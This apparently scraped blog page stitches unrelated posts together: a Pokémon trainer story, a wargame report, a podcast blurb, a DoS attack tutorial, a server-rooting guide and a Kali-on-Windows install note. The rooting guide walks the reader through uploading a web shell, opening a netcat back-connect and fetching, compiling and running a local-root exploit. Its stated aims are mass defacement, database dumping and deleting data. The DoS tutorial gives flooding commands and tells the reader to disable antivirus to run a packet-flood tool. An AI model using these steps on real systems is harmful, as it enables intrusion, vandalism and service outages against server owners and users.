Rose & Marinaldo

Rose

I made it through Viridian Forest to Pewter City safely. The Pewter Pokémon Gym was open and available, but Lucky was in no condition to train there. Instead we made daily forays into the forest to train against other Caterpie and Weedle. Eventually Lucky evolved into a Metapod which was amazing to watch. At the time, I was so excited to see an evolution first hand. It was the direct result of our diligent training together and it felt great to see Lucky move into his next life stage, growing stronger before my eyes. This physical manifestation of growth and improvement encouraged me to take our training to the next step. It encouraged me to take my team to the Pewter City Pokémon Gym.
I walked in headstrong and confident that my team was ready to face the challenges ahead. I announced myself as a challenger. I waited for the trainers representing the gym to step forward. I expected to face more than one young man before challenging Gym Leader Brock, but apparently this young trainer was the only one representing Brock that day. He only had two Pokéballs at his side, but he assured me I was no match for Brock. He was about to prove it to me firsthand.
He tossed out a Diglett which popped up out of the dirt floor of the gym. Kiwi took to the air. If the Diglett knew any ground attacks they would be wasted on Kiwi while he remained airborne. Kiwi opened with our classic Sand-Attack gambit to kick as much dust and dirt up into the Diglett's eyes as he could. Kiwi took a few scrapes as he wore down the Diglett's accuracy, but eventually the Diglett was completely ineffective. I switched in Nibbles to tackle the Diglett into submission.
The Junior Trainer revealed his final Pokémon to be a Sandshrew. Its defense was formidable so I used Nibble to distract him with a series of disorienting glares before pulling Nibble out of the battle. Rascal jumped in to eagerly sweep through the defenseless Sandshrew, but I miscalculated. After two vicious slashes from the Sandshrews sharp claws, Rascal was down and out. Rascal slumped to the ground unconscious. My heart sank into my stomach and I felt faint. I failed Rascal.
It was in that moment of horrible defeat that it occurred to me that I should have used a potion on Rascal. I shouldn't have let him suffer those two powerful attacks head on. I should have sent in Kiwi to wear down the Sandshrew's accuracy. Lucky didn't stand a chance against this Pokémon if it took out Rascal so easily. Kiwi was my only chance to get out of this mess. I knew that if I didn't keep my head in the game, I might be saying goodbye to more than one Pokémon that afternoon. I tried to shake off my sorrow and focus on the battle ahead.

Kiwi was much faster than the Sandshrew. He kept firmly out of reach and launched a series of quick attacks on the Sandshrew to finish it off. The Junior Trainer conceded defeat, but it was I who felt defeated that day. This young boy had no idea I'd just recently vowed to never fight my Pokémon to the point of unconsciousness. Now, just days after determining the way I wished to train and respect Pokémon, my resolve was going to be tested. Rascal and I would have to part ways.
I explained this to the trainer who didn't quite understand, but he said the gym would be happy to watch after Rascal for me. Rascal was always enthusiastic about training and living here at the gym would be a fitting end to our relationship, so I agreed.
I took Rascal to the Pokémon Center and waited for him to recover from his injuries. I don't really know if he understood, but I explained to him that in order for us to grow stronger I would need to let him go. We had to follow different paths, now. I had chosen a training style where I would not let my Pokémon fall in battle and even though Rascal was my very first Pokémon companion, I could not go back on my conviction. We said our goodbyes. I released Rascal to the care of the Junior Trainer at the Pewter City Pokémon Gym and withdrew my challenge.

It's an understatement to say that I was devastated. In that moment, I certainly regretted making it my personal goal as a trainer to not push my Pokémon too far. As Wolf had said, it's just part of the training to the average trainer. You win some and you lose some. But that just wasn't my way. I wanted to build a place where I could protect Pokémon and people would come from all around to study and understand them better. I had to be better than the average trainer. I had to hold myself to a higher standard. Pokémon would fight. They would fight to protect me in the wild, and they would fight for my dream in competitive matches. But I had to have limits. I had to take responsibilities for my failures and this was the only way I knew how to do that.
Rascal was the first of many such failures, and saying goodbye to my first Pokémon was certainly one of the most painful experiences as a Pokémon Trainer that I have ever faced. Back in those days in Pewter City, I questioned everything about my journey. I spent a long time just wondering if I should return to Professor Oak and give up. These thoughts just stemmed from the profound sadness and disappointment, though. Ultimately, I would move on. I would grow stronger and persevere.
Beyond the tremendous heartbreak of failing to protect my first Pokémon, I was also terrified of Brock. This failure humbled me tremendously. Everything I did going forward would be taken slowly and with greater attention to strategy. This included returning to challenge Brock. Without Rascal, my team had a gaping hole that needed to be filled. The only one who could fill that hole was Lucky and so we left Pewter temporarily to train like our lives depended on it. I would absolutely not lose another Pokémon in this city.

Current Team:

Rose

Close and deadly action on the Ridge.

On their left, the Dominion's first attack on the village
was repulsed as was a rather ragged rush forward by the grenadiers. On the ridge, a steady stream of Rebel companies were thrown into the gaps as they appeared.

At last, the Rifles forced their way into the village while the Grenadiers fell back to reorganize. The Rebels took advantage of the break to rearrange their units, sending fresh units into the line and pulling the dismounted cavalry back from the wall to ride to the open flank .

Accurate fire from the Dominion artillery managed to silence the Rebel battery just in time for a renewed Dominion assault. The fighting was fierce and prolonged.

The Grenadiers did not have the strength to storm the wall and were taking such heavy casualties that General Douglas feared they might be forced to retreat but the Rebel line was flanked and the exposed units suffered from heavy and accurate fire. The last straw came when the Director General's Bodyguard remounted and swept around the flank, driving all opposition before them.

Rose

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Rose

A lot of games over the past couple of weeks, and some lessons learned as a DM! Come listen as I share about running boss battles, using random events in interesting ways and how a big reveal had me worried that I'd lost a player!

Anchor Episode link: https://anchor.fm/thedungeonmastershandbook/episodes/Episode-28---Lessons-Learned-and-Campaign-Happenings-easbbl

Leave me a voice message and let me know what you think or ask questions if you have them! (312) 625-8281‬ (US/Canada)

You can also leave a message on Anchor: anchor.fm/thedungeonmastershandbook/message

Find episode posts and other D&D content on my blog: chgowiz-games.blogspot.com

Intro music: Dragonaut by Bradley The Buyer (bit.ly/2ASpAlF)
Outro music: Dream by Wild Shores (bit.ly/2jbJehK)
Stinger music by TJ Drennon - Check out his Patreon page at https://www.patreon.com/TJD/!

Rose

What is DoS Attack?

DOS is an attack used to deny legitimate users access to a resource such as accessing a website, network, emails, etc. or making it extremely slow. DoS is the acronym for Denial of Service. This type of attack is usually implemented by hitting the target resource such as a web server with too many requests at the same time. This results in the server failing to respond to all the requests. The effect of this can either be crashing the servers or slowing them down.

Cutting off some business from the internet can lead to significant loss of business or money. The internet and computer networks power a lot of businesses. Some organizations such as payment gateways, e-commerce sites entirely depend on the internet to do business.

In this tutorial, we will introduce you to what denial of service attack is, how it is performed and how you can protect against such attacks.

Topics covered in this tutorial

Types of Dos Attacks

There are two types of Dos attacks namely;

DoS– this type of attack is performed by a single host
Distributed DoS– this type of attack is performed by a number of compromised machines that all target the same victim. It floods the network with data packets.

How DoS attacks work

Let's look at how DoS attacks are performed and the techniques used. We will look at five common types of attacks.

Ping of Death

The ping command is usually used to test the availability of a network resource. It works by sending small data packets to the network resource. The ping of death takes advantage of this and sends data packets above the maximum limit (65,536 bytes) that TCP/IP allows. TCP/IP fragmentation breaks the packets into small chunks that are sent to the server. Since the sent data packages are larger than what the server can handle, the server can freeze, reboot, or crash.

Smurf

This type of attack uses large amounts of Internet Control Message Protocol (ICMP) ping traffic target at an Internet Broadcast Address. The reply IP address is spoofed to that of the intended victim. All the replies are sent to the victim instead of the IP used for the pings. Since a single Internet Broadcast Address can support a maximum of 255 hosts, a smurf attack amplifies a single ping 255 times. The effect of this is slowing down the network to a point where it is impossible to use it.

Buffer overflow

A buffer is a temporal storage location in RAM that is used to hold data so that the CPU can manipulate it before writing it back to the disc. Buffers have a size limit. This type of attack loads the buffer with more data that it can hold. This causes the buffer to overflow and corrupt the data it holds. An example of a buffer overflow is sending emails with file names that have 256 characters.

Teardrop

This type of attack uses larger data packets. TCP/IP breaks them into fragments that are assembled on the receiving host. The attacker manipulates the packets as they are sent so that they overlap each other. This can cause the intended victim to crash as it tries to re-assemble the packets.

SYN attack

SYN is a short form for Synchronize. This type of attack takes advantage of the three-way handshake to establish communication using TCP. SYN attack works by flooding the victim with incomplete SYN messages. This causes the victim machine to allocate memory resources that are never used and deny access to legitimate users.

DoS attack tools

The following are some of the tools that can be used to perform DoS attacks.

Nemesy– this tool can be used to generate random packets. It works on windows. This tool can be downloaded from http://packetstormsecurity.com/files/25599/nemesy13.zip.html . Due to the nature of the program, if you have an antivirus, it will most likely be detected as a virus.
Land and LaTierra– this tool can be used for IP spoofing and opening TCP connections
Blast– this tool can be downloaded from http://www.opencomm.co.uk/products/blast/features.php
Panther- this tool can be used to flood a victim's network with UDP packets.
Botnets– these are multitudes of compromised computers on the Internet that can be used to perform a distributed denial of service attack.

DoS Protection: Prevent an attack

An organization can adopt the following policy to protect itself against Denial of Service attacks.

Attacks such as SYN flooding take advantage of bugs in the operating system. Installing security patches can help reduce the chances of such attacks.
Intrusion detection systems can also be used to identify and even stop illegal activities
Firewalls can be used to stop simple DoS attacks by blocking all traffic coming from an attacker by identifying his IP.
Routers can be configured via the Access Control List to limit access to the network and drop suspected illegal traffic.

Hacking Activity: Ping of Death

We will assume you are using Windows for this exercise. We will also assume that you have at least two computers that are on the same network. DOS attacks are illegal on networks that you are not authorized to do so. This is why you will need to setup your own network for this exercise.

Open the command prompt on the target computer

Enter the command ipconfig. You will get results similar to the ones shown below

For this example, we are using Mobile Broadband connection details. Take note of the IP address. Note: for this example to be more effective, and you must use a LAN network.

Switch to the computer that you want to use for the attack and open the command prompt

We will ping our victim computer with infinite data packets of 65500

Enter the following command

ping 10.128.131.108 –t |65500

HERE,

"ping" sends the data packets to the victim
"10.128.131.108" is the IP address of the victim
"-t" means the data packets should be sent until the program is stopped
"-l" specifies the data load to be sent to the victim

You will get results similar to the ones shown below

Flooding the target computer with data packets doesn't have much effect on the victim. In order for the attack to be more effective, you should attack the target computer with pings from more than one computer.

The above attack can be used to attacker routers, web servers etc.

If you want to see the effects of the attack on the target computer, you can open the task manager and view the network activities.

Right click on the taskbar
Select start task manager
Click on the network tab
You will get results similar to the following

If the attack is successful, you should be able to see increased network activities.

Hacking Activity: Launch a DOS attack

In this practical scenario, we are going to use Nemesy to generate data packets and flood the target computer, router or server.

As stated above, Nemesy will be detected as an illegal program by your anti-virus. You will have to disable the anti-virus for this exercise.

Download Nemesy from http://packetstormsecurity.com/files/25599/nemesy13.zip.html
Unzip it and run the program Nemesy.exe
You will get the following interface

Enter the target IP address, in this example; we have used the target IP we used in the above example.

HERE,

0 as the number of packets means infinity. You can set it to the desired number if you do not want to send, infinity data packets
The size field specifies the data bytes to be sent and the delay specifies the time interval in milliseconds.

Click on send button

You should be able to see the following results

The title bar will show you the number of packets sent

Click on halt button to stop the program from sending data packets.

You can monitor the task manager of the target computer to see the network activities.

Summary

A denial of service attack's intent is to deny legitimate users access to a resource such as a network, server etc.
There are two types of attacks, denial of service and distributed denial of service.
A denial of service attack can be carried out using SYN Flooding, Ping of Death, Teardrop, Smurf or buffer overflow
Security patches for operating systems, router configuration, firewalls and intrusion detection systems can be used to protect against denial of service attacks.

@EVERYTHING NT

More information

Rose

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).

We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).

In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.

After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to

find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.

You can know that from your shell, for example, this version is 2.6.18 – 2012

Go to EXECUTE on your shell and write "uname -a". You will get the same result, by the way.

Now how to find the local root.

You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :

Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.

So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD if you are under Windows. I will explain only Linux, and for Windows, its all the same.

After that Follow the steps :

1- Press nc -vlp 433

2- Wget [the link of the local-Root.zip]

3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local

gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)

Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.

AFTER THE ROOT

As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

Related word

Rose

How it works?
* Kali Linux with XFCE Desktop Environment in Windows Subsystem for Linux (WSL)
* VcXsrv X Server for Windows is doing the hard GUI lifting
* XFCE is started natively in WSL and displayed by VcXsrv

Install Voodoo-Kali:
1, Enable WSL and install Kali Linux from the Microsoft Store. Read Install Kali Linux desktop on Windows 10 from Microsoft Store

2, To start Kali Linux in Windows 10, open Command Prompt and enter the command: kali

3, Enter this commands:
  apt install wget -y
  wget https://raw.githubusercontent.com/Re4son/WSL-Kali-X/master/install-WSL-Kali-X
  bash ./install-WSL-Kali-X

4, Download and install VcXsrv Windows X Server from SourceForge

5, Start VcXsrv, accept change in firewall rules, exit VcXsrv

Run Voodoo-Kali:
Start kali in Windows as normal user (that's default), and launch Voodoo-Kali:
* as normal user: ./start-xfce
* as root: sudo /root/xtart-xfce

Run Kali Desktop in an RDP session:
In Kali Linux WSL, type: sudo /etc/init.d/xrdp start
In Windows 10, open Run and enter mstsc.exe and connect to "127.0.0.1:3390"

Status: Voodoo-Kali is in its infancy and it is far from being elegant. I'm working on it though and step by step I'll push out improvements. Below a snippet of the To-Do list:
* Clean up and comment the scripts
* Make for a cleaner exit
* Better error handling and dependency checking (get rid of sleep, etc.)
* Improve stability of Java programs
* Improve the looks??
* …

Any help is truly appreciated, in any shape or form – from tips to pull requests.
Why don't you join the forums to discuss?

Further Information:
* Offsec – Kali Linux in the Windows App Store
* MSDN – Windows Subsystem for Linux Overview

Download Voodoo-Kali

Rose & Marinaldo

sábado, 12 de setembro de 2020

Monumental Heartbreak

Battle Of Gypsum Ridge Pt2

segunda-feira, 7 de setembro de 2020

Domain Authority 50 for your website - Guaranteed Service

sexta-feira, 4 de setembro de 2020

Podcast Episode 28 - Lessons Learned And Campaign Happenings

segunda-feira, 31 de agosto de 2020

DOS (Denial Of Service) Attack Tutorial Ping Of Death ;DDOS

What is DoS Attack?

Topics covered in this tutorial

Types of Dos Attacks

How DoS attacks work

DoS attack tools

DoS Protection: Prevent an attack

Hacking Activity: Ping of Death

Hacking Activity: Launch a DOS attack

Summary

More information

domingo, 30 de agosto de 2020

HOW TO ROOT A SERVER? – SERVER ROOTING

HOW TO ROOT A SERVER?

HOW TO SEARCH LOCAL ROOT?

HOW TO GET ROOT ACCESS?

Related word

Voodoo-Kali - Kali Linux Desktop On Windows 10

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